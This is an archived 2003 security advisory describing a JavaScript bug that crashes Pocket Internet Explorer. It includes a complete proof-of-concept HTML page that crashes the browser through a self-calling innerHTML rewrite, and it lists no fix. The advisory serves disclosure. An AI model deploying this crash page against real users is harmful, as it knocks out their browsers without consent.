TUCoPS :: Windows Apps :: sb5902.htm

JS Bug makes it possible to deliberately crash Pocket PC IE
4th Jan 2003 [SBWID-5902]
COMMAND

	JS Bug makes it possible to deliberately crash Pocket PC IE

SYSTEMS AFFECTED

	PC IE v3 ??

PROBLEM

	Christopher Sogge [crotnes@student.sv.uio.no] found :
	
	Calling a javascript from an  object  written  to  same  page  with  the
	object.innerHTML function causes Pocket Internet Explorer (PIE from  now
	on) to crash.
	
	Only PIE is affected, "regular" IE will show the pages as intented.
	
	 Example:
	 ========
	
	 
	<html>
	<head>
	<title>Crash PIE</title>
	<script language="Javascript">
	function displayPage(page){
	if(page=="onload"){
	   main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash 
	me</a>";
	}
	if(page=="crash"){
	   main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">You are 
	going down!</a>";
	}
	}
	</script>
	</head>
	<body onLoad="displayPage('onload');">
	<hr>
	<span id="main"></span>
	</body></html>
	

SOLUTION

	none yet ?

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH